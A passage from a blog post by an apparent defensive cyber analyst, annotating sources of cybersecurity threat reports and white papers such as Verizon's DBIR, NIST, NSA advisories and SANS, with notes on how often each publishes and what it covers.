- Red Canary - Published annually and monthly. Red Cannary posts the typical annual report like many of these other organizations, but also monthly “Intelligence Insights” to more rapidly get information out to their readers.
- SentinelOne. Published monthly. These reports review cybersecurity news from the previous month.
- Sophos - Published annually. Sophos’ Threat Reports provide broad-strokes overviews of the cybersecurity landscape on an annual basis.
- Talos - Published quarterly. These concise Incident Response Threat Assessment Reports highlight top threats over the last quarter as well as lessons learned during those incident responses.
- Team Cymru - Published annually. Team Cymru’s single annual report, The State of Threat Hunting and the Role of the Analyst, looks at threat hunting specifically.
- ThinkstScapes - Published quarterly. Whereas several of the reports listed here are based on organizations executing incident responses and then publishing the insights they gained in doing so, ThinkstScapes Quarterly Rollup surveys industry reporting and academic research. This alternate perspective is a valuable one.
- Trend Micro - Published annually, bi-annually, and quarterly. Trend Micro’s reports also run the gamut from broad strokes threat landscape examinations to specific threats to certain regions of the world all the way down to specific technologies and vulnerabilities. Trend Micro also publishes weekly blog posts.
- Truesec - Published annually. Although focused on Sweden, Truesec’s annual Threat Intelligence Report provides useful information about attack vectors, timelines, and the actors executing those operations that apply generally.
- Unit 42 - Published annually. Although less consistent and more narrow than others in this list, Unit 42 occasionally publishes similar threat reports focused on specific industries or families of attacks.
- Verizon - Published annually. Verizon’s Data Breach Investigations Report (DBIR) is a wealth of granular information on specific adversary tactics, techniques, and procedures observed in the wild. Look here to understand where adversaries have been, so you can know where to look and where to go.
- VMWare - Published annually. VMWare’s Threat Landscape Report is another great source of granular information on adversary tactics, techniques, and procedures. This will also help understand what adversaries have done in the recent past, to give you an idea of what to look for retroactively and what to prepare for proactively.
White Papers #
These websites publish informative papers, or white papers, on a variety of cybersecurity-related topics. Although not all cybersecurity-focused, these organizations consistently produce high-quality content from annual broad-scale surveys and reviews to individual research projects.
- Carnegie Mellon University Software Engineering Institute - These papers focus on a variety of technical topics, to include defensive cyberspace operations-adjacent ones. Carnegie Mellon’s incident response team not only pioneered the field but also continue to produce some of the best work in this space. The Digital Library also includes presentations and other forms of media.
- Center for Applied Internet Data Analysis (CAIDA) - CAIDA’s publications typically focus on the border gateway protocol (BGP) and similar internet-level data sets. Although seldom useful to junior analysts, as they become more senior, understanding the terrain of the fifth domain at this level becomes important.
- Domain Tools White Papers - Domain Tools provides one of the best IP- and DNS-based investigation platforms in the business. These white papers discuss strategies for extracting the most value from platforms like these, as well as threat intelligence in general, threat hunting methodologies, and other, related topics.
- Digital Shadows - These white papers range from the educational to the informative.
- Dragos - Like Dragos’ annual threat reports, its white papers also focus on industrial control systems technology.
- ESET - ESET’s white papers typically focus on malware. These in-depth write ups provide analysts with ample detection opportunities for the subjects not just through IOC lists, but also by presenting sufficiently detailed analysis to enable the creation of new rules.
- U.S. Government Accountability Office Reports & Testimonies - While many of the GAO’s reports do not focus on the cybersecurity realm, some do, and those that do offer in-depth and impartial examinations of those topics.
- Group-IB - As opposed to most of the organizations in this list, Group-IB’s white papers focus more on the offensive side of cyberspace operations from red teaming to current attacker tactics, techniques, and procedures.
- NIST Special Publications - The National Institute of Standards and Technology (NIST) publishes some of the densest, most informative guides to any sector, cybersecurity included.
- NSA Cybersecurity Advisories & Guidance - The National Security Agency’s publications range from detailed examinations or threat actors and their campaigns to helpful hardening guidance for network defenders.
- Ponemon Institute - The Ponemon Institute conducts research on technical topics for cybersecurity organizations. While some reports stay private, the public ones offer deep insight into their chosen topic.
- Prodaft- While some have attempted to discredit this company’s work, the Prodaft team produces phenomenally interesting work. They are one of the few entities taking the fight to the enemy.
- RAND - The RAND Corporation is another great source for deep insights into specific topics.
- SANS Information Security White Papers - SANS publishes informative high-level, industry-wide surveys as well as interesting research papers from individuals. This page is a wealth of information whether you take SANS courses or not.
- Virus Bulletin - Virus Bulletin is a clearinghouse for cybersecurity-related papers.
- VX Underground - VX Underground bins papers published elsewhere by topic, then archives them. This is another good clearinghouse for cybersecurity-related papers.
While it is not yet time for my Handbook for Defensive Cyberspace Operations to go public, in publishing posts like this one and Threat Intelligence & Threat Research, I hope to begin sharing the wealth of knowledge I have amassed over the last several years.